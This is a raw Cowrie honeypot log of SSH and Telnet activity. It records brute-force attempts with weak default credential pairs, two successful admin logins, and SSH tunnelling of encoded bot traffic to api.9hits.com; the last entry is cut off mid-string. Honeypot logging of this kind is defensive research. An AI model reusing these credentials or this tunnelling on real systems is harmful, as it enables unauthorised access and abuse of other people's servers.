{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:39.688327Z","src_ip":"49.247.37.22","session":"585749eff079","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:39.891576Z","src_ip":"49.247.37.22","session":"585749eff079","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oem","password":"oem123","message":"login attempt [oem/oem123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:40.745829Z","src_ip":"49.247.37.22","session":"585749eff079","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:40.971397Z","src_ip":"27.71.230.31","session":"72020892c0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:41.963063Z","src_ip":"49.247.37.22","session":"585749eff079","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":40924,"dst_ip":"159.203.135.109","dst_port":23,"session":"53970cead845","protocol":"telnet","message":"New connection: 172.81.62.90:40924 (159.203.135.109:23) [session: 53970cead845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:54.685926Z"}
{"eventid":"cowrie.session.closed","duration":38.56193423271179,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:04.166685Z","src_ip":"128.199.8.54","session":"c47434793d7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.42895221710205,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:04.371983Z","src_ip":"172.81.62.90","session":"4506fd930a2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.6475191116333,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:05.235410Z","src_ip":"128.199.8.54","session":"379c09017bc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":53166,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbe67b09f105","protocol":"ssh","message":"New connection: 101.79.165.43:53166 (159.203.135.109:22) [session: dbe67b09f105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:16.553961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:16.558136Z","src_ip":"101.79.165.43","session":"dbe67b09f105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:16.782540Z","src_ip":"101.79.165.43","session":"dbe67b09f105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k9jt3d","message":"login attempt [root/k9jt3d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:17.701671Z","src_ip":"101.79.165.43","session":"dbe67b09f105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.38262128829956,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:18.764617Z","src_ip":"172.81.62.90","session":"1ca76d75e694","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:18.922191Z","src_ip":"101.79.165.43","session":"dbe67b09f105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":58782,"dst_ip":"159.203.135.109","dst_port":22,"session":"a32b5d10380a","protocol":"ssh","message":"New connection: 2.99.213.222:58782 (159.203.135.109:22) [session: a32b5d10380a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:25.676636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:25.681441Z","src_ip":"2.99.213.222","session":"a32b5d10380a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:25.788583Z","src_ip":"2.99.213.222","session":"a32b5d10380a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"abc123","message":"login attempt [teste/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:26.224813Z","src_ip":"2.99.213.222","session":"a32b5d10380a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:27.332764Z","src_ip":"2.99.213.222","session":"a32b5d10380a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.97986197471619,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:35.665651Z","src_ip":"172.81.62.90","session":"53970cead845","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":54672,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3b72ecdadeb","protocol":"ssh","message":"New connection: 23.175.50.47:54672 (10.17.0.5:22) [session: f3b72ecdadeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:40.937892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:40.943579Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:41.043309Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:42.476273Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":55875,"dst_ip":"10.17.0.5","dst_port":22,"session":"e465c674e15e","protocol":"ssh","message":"New connection: 123.27.168.40:55875 (10.17.0.5:22) [session: e465c674e15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:45.323108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:45.327780Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:45.562104Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:46.582074Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:46.665323Z","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:46.738847Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; Archos Access 70 3G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=K3hwdVJ9XzwvdF9GYWVRUw%3D%3DIq5YEhAg9Q%2By5NVuUcJLLy5c0YcskHjP5anzdHUrjVuN6ejaVtFnrzF8x5yh3P0c2xLG%2BFCplWKhJ%2BkJpuWvsf2TBs2gZhfm%2Bli7j3M0WRAitJOR8d0%2FUami9fcDIZQts8pHCFBzucafYATiSfQjx7QnXKzFA8DXHY8zWYUAGjeGWdUik1W3NRqWCIujalDMTS%2BcmX%2FhpRvGVywMqB4HEZQimN7ibSAOZ6u57moRYj9wc8Edi3S%2B7JoAQRJVSZT4V2bbl5sM7Cpw9RXRO8I4ZVvAbFIQJdCUrcIqKujm6sGZVCVsi%2BnYMmgPqR2SowM9W5XZw6xIDH4sXHQXbUOdA1D2ba0NY4%2FYVEAepP1vboQkjaJfwJ0%2Bmq8zEo%2BlUZpvJygK5wueme5oRAa1c18pQpsaOS94qy3FCH2L0P9rrbJR%2FvS7jeHS0dle6KmaMf05%2F%2FcMTmqs2eCGqo9A%2FA%2FWOKv5F%2Bt4t3laX3jRud8USXsu%2B1H1SzZTJK%2B514KFGZ48hJaTqSreXyx%2BP8o5zAUJ418IHCof7WYRkoefrz3MW8Jz%2FSoHv64YUzCS1STtsNvA67xpEj2ssfO4xQLoio7a5pmSR5wpbIO97cm%2FAl7aG9Cg%2B4vT4Be8NVrrcGrWfzcCO2%2FuvJPsDRh4oEYHfi5Q8yp4H5Ub76tZKJk4OMgYo1Dj68oBCCSQ60Edbrs48Ws%2BrdYabA4a2fzfkj3VkL2kx2QC65RK0BWxk7MZz2N%2FJ0xJE6GZyj95TTEsFSk5yhLix3v%2BS1nmOuEFHSKr9qZQXo2ZG8Rm1e5V3T%2BCTv9Ouh0PPk2M%2Fp%2Bsqv9%2FRcRwv146ihl1KkEvwHQHaFNcp5MhAFfmeDCYfee%2BObMlnI8aT3r4nJ0oyGYV0ovxqhuGbIdJjLgoIOGjc4EwA4Vfg5Uyf3sOBmYT0oKvaVr4N9HAbCFZ%2FtGfu8HOizAyOWKbDw1hN2sOCYRp3i38PVOdJhvnN3nZoNUuJQn48RHS9bBAliA50yc2JNjaDBNSWqTfq3Vm9GhNF6VH3g88mb0sK5L46dqlalphxSE3%2BRLa6mDp32SShmi76lEYzq38hXWDU1Bz'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.0; Archos Access 70 3G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=K3hwdVJ9XzwvdF9GYWVRUw%3D%3DIq5YEhAg9Q%2By5NVuUcJLLy5c0YcskHjP5anzdHUrjVuN6ejaVtFnrzF8x5yh3P0c2xLG%2BFCplWKhJ%2BkJpuWvsf2TBs2gZhfm%2Bli7j3M0WRAitJOR8d0%2FUami9fcDIZQts8pHCFBzucafYATiSfQjx7QnXKzFA8DXHY8zWYUAGjeGWdUik1W3NRqWCIujalDMTS%2BcmX%2FhpRvGVywMqB4HEZQimN7ibSAOZ6u57moRYj9wc8Edi3S%2B7JoAQRJVSZT4V2bbl5sM7Cpw9RXRO8I4ZVvAbFIQJdCUrcIqKujm6sGZVCVsi%2BnYMmgPqR2SowM9W5XZw6xIDH4sXHQXbUOdA1D2ba0NY4%2FYVEAepP1vboQkjaJfwJ0%2Bmq8zEo%2BlUZpvJygK5wueme5oRAa1c18pQpsaOS94qy3FCH2L0P9rrbJR%2FvS7jeHS0dle6KmaMf05%2F%2FcMTmqs2eCGqo9A%2FA%2FWOKv5F%2Bt4t3laX3jRud8USXsu%2B1H1SzZTJK%2B514KFGZ48hJaTqSreXyx%2BP8o5zAUJ418IHCof7WYRkoefrz3MW8Jz%2FSoHv64YUzCS1STtsNvA67xpEj2ssfO4xQLoio7a5pmSR5wpbIO97cm%2FAl7aG9Cg%2B4vT4Be8NVrrcGrWfzcCO2%2FuvJPsDRh4oEYHfi5Q8yp4H5Ub76tZKJk4OMgYo1Dj68oBCCSQ60Edbrs48Ws%2BrdYabA4a2fzfkj3VkL2kx2QC65RK0BWxk7MZz2N%2FJ0xJE6GZyj95TTEsFSk5yhLix3v%2BS1nmOuEFHSKr9qZQXo2ZG8Rm1e5V3T%2BCTv9Ouh0PPk2M%2Fp%2Bsqv9%2FRcRwv146ihl1KkEvwHQHaFNcp5MhAFfmeDCYfee%2BObMlnI8aT3r4nJ0oyGYV0ovxqhuGbIdJjLgoIOGjc4EwA4Vfg5Uyf3sOBmYT0oKvaVr4N9HAbCFZ%2FtGfu8HOizAyOWKbDw1hN2sOCYRp3i38PVOdJhvnN3nZoNUuJQn48RHS9bBAliA50yc2JNjaDBNSWqTfq3Vm9GhNF6VH3g88mb0sK5L46dqlalphxSE3%2BRLa6mDp32SShmi76lEYzq38hXWDU1Bz'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:46.742421Z","src_ip":"23.175.50.47","session":"f3b72ecdadeb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:46.952448Z","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:47.081773Z","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:15:47.470308Z","src_ip":"123.27.168.40","session":"e465c674e15e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1204\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=MlNtXjY%2BQyZjemUjRkowNQ%3D%3DnbalNGlWJPqMC0bUYJERSuziNQpgSWcvuJiypMJ3iuJsifksO7ctWYDXzn7rA7tJuIIwVLrOSEll3kELQnVLIIvYjwssHR8E4YexNFH3maNVVszo8N6uQWIfb6suJZoiIJUsxl%2F7Vd%2Fawt97vumzhKE9pm4vxm%2Bb%2BKKRds4VsB7eo82aZlPmpZbVlh46tcLf4Jb4lD0mmmyeFCuAMhWv2WNiwVktKGxY8q3lP7QS1Z8oDhPdBo%2Fjn8taNog9gI6cSpozoZxcfq7ipdU6WxsDKecSUhVi1Kvaxir28I8TyD2tWWkbzgC03i7lsJpn0Inka6BKABz%2F89YYJ8MDI2toDl5Awx9maEOVX%2FlVPRPGYLeMDWoMjckbiS40r9XBquY%2BH%2FJNHj5yipR6LFAryNtUx%2BEO0IOqMJRgpLELz9ii%2FaeWvn6SOv5bGgdw3i6Dg9DjX2ZdZZ%2BKvR9quRV9Djv%2FSvT%2FCg%2Fbil8VEaGnQQ18ZfXU28PdBZltCLJK462nMNDfSsjnfSLn61T1EQrFZOBtGac1Sy6beA0aceGqznxiDhgGoNbVOxh1b9hlRneF%2F%2BD%2Fh5qP6bAYKhmt4yJEdxCr7HfzKtb9BW9RlovLKcE8aOO4DMXAzY%2Bx1ZtCmYQq4rAykWYuOUKS%2B8zesFDUABysBhCmsiblXKbI69%2Fqhry1DBowdurmScpytrDFVIMjuY6wA8DHgEEFhW6EIrsmQKdg%2BqnRI8veykVssdBuS%2BMDQ58QoybJCwtAyzHNmUJ%2FCl7MONgslfJIyy%2BfN3y%2BYI7kddtpY%2B5jIT%2F7lzlptCUjKLpI1DohsWDMKbg2U6dFJ6G04my%2F%2F95pjNktK8YSEiGujqzKnGrrRAz0tvqWBzt9KoSh2XnPjqCqZM8GQ%2FvI4qg6fccJRL3qb0btk%2FYKhPNi%2BRCGUCTbUZZqysc%2Bf%2BerdfmHvTN3jdiJVJgZZDCNt9e%2F%2FKFjvJq%2FI1otFouPzK2U7JhtW%2FIaBwfvOVxl4ioFUq2mcfc%2Bsbj0xaqERQxd2ROVb2xWnNms3U5zVcb1TrS7AasPwfWfZM%2FKsZ5seaChiuXO